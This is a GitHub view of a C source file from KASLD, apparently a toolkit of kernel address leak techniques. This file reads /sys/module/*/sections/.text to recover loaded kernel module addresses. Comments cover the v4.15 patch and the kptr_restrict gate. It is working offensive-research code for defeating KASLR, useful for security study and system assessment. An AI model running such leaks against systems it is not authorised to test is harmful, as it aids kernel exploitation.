-
Notifications
You must be signed in to change notification settings - Fork 52
Expand file tree
/
Copy pathsysfs_module_sections.c
More file actions
158 lines (132 loc) · 4.8 KB
/
Copy pathsysfs_module_sections.c
File metadata and controls
158 lines (132 loc) · 4.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// Retrieve virtual address for loadable kernel modules from
// /sys/module/*/sections/.text
//
// Kernel module section offsets were exposed world-readable in SysFS from 2004.
// Permissions were modified to prevent access (unless `kptr_restrict = 0`) in
// kernel 4.15-rc1 on 2017-11-12:
// https://github.com/torvalds/linux/commit/277642dcca765a1955d4c753a5a315ff7f2eb09d
//
// Leak primitive:
// Data leaked: kernel module section virtual addresses (.text, etc.)
// Kernel subsystem: kernel/module — /sys/module/*/sections/.text
// Data structure: struct module_sect_attr → address
// Address type: virtual (kernel module text)
// Method: parsed (sysfs file read)
// Patched: v4.15 (commit 277642dcca76; permissions restricted)
// Status: gated since v4.15 (kptr_restrict)
// Access check: module_sect_show() checks kptr_restrict since v4.15;
// requires CAP_SYSLOG
// Source:
// https://elixir.bootlin.com/linux/v6.12/source/kernel/module/sysfs.c
//
// Mitigations:
// Since v4.15, section files require kptr_restrict = 0 (or CAP_SYSLOG)
// to read addresses. Before v4.15, world-readable (0444).
// ---
// <bcoles@gmail.com>
#define _GNU_SOURCE
#include "include/kasld/api.h"
#include "include/kasld/cli.h"
#include <dirent.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
KASLD_EXPLAIN(
"Reads kernel module section addresses from "
"/sys/module/*/sections/.text. Each loaded module exposes its .text "
"virtual address. Since v4.15, these files are filtered through "
"kptr_restrict (requiring kptr_restrict=0 or CAP_SYSLOG). Module "
"addresses constrain the modules region and, on coupled "
"architectures, the kernel text base.");
KASLD_META("method:parsed\n"
"phase:inference\n"
"discloses:virtual\n"
"sysctl:kptr_restrict>=1\n"
"bypass:CAP_SYSLOG\n"
"patch:v4.15\n");
static unsigned long read_module_text(char *path) {
FILE *f;
/* Fixed 64-byte cookie line — one hex address plus "\n". Constant-sized
* to keep -Wvla / -Wstack-protector silent (no runtime-sized stack). */
enum { buff_len = 64 };
char buff[buff_len];
const int addr_len = sizeof(long *) * 2;
unsigned long addr = 0;
// kasld_info("checking %s ...", path);
f = kasld_fopen(path, "rb");
if (f == NULL)
return 0;
if (fgets(buff, buff_len, f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
// pointer hex string length + "0x" prefix + "\n" line feed
if (strlen(buff) != (size_t)(addr_len + 3))
return 0;
if (!kasld_addr_parse(buff, 16, &addr, NULL))
return 0;
if (addr && kasld_addr_is_module_band(addr))
return addr;
return 0;
}
#define module_range addr_range
static struct module_range get_module_text_sysfs(void) {
char d_path[1024];
unsigned long text_addr = 0;
const char *path = "/sys/module/";
struct dirent *dir;
DIR *d;
struct module_range range = {0, 0, 0};
kasld_info("trying /sys/module/*/sections/.text ...");
d = kasld_opendir(path);
if (d == NULL) {
perror("[-] opendir");
return range;
}
while ((dir = readdir(d)) != NULL) {
if (dir->d_type != DT_DIR)
continue;
snprintf(d_path, sizeof(d_path), "%s%s/sections/.text", path, dir->d_name);
text_addr = read_module_text(d_path);
if (!text_addr)
continue;
if (!range.lo || text_addr < range.lo)
range.lo = text_addr;
if (text_addr > range.hi)
range.hi = text_addr;
}
closedir(d);
return range;
}
int main(void) {
/* Pre-check: is /sys/module/ readable? */
if (kasld_access("/sys/module/", R_OK) != 0)
return (errno == EACCES || errno == EPERM) ? KASLD_EXIT_NOPERM
: KASLD_EXIT_UNAVAILABLE;
struct module_range range = get_module_text_sysfs();
if (!range.lo) {
kasld_err("no kernel address found in /sys/module sections");
return 0;
}
/* REGION_MODULE, not REGION_MODULE_BAND: these are section addresses read
* from a named module's own sysfs directory, so the region is known
* structurally rather than inferred from the address falling in a band —
* the provenance module_text_bracket requires (see api.h). */
kasld_info("lowest leaked module text address: %lx", range.lo);
if (range.hi != range.lo) {
kasld_info("highest leaked module text address: %lx", range.hi);
/* Emit the lowest and highest section addresses as a single bounded
* MODULE range. */
kasld_result_range(KASLD_TYPE_VIRT, REGION_MODULE, range.lo, range.hi, NULL,
CONF_PARSED);
} else {
kasld_result_sample(KASLD_TYPE_VIRT, REGION_MODULE, range.lo, NULL,
CONF_PARSED);
}
return 0;
}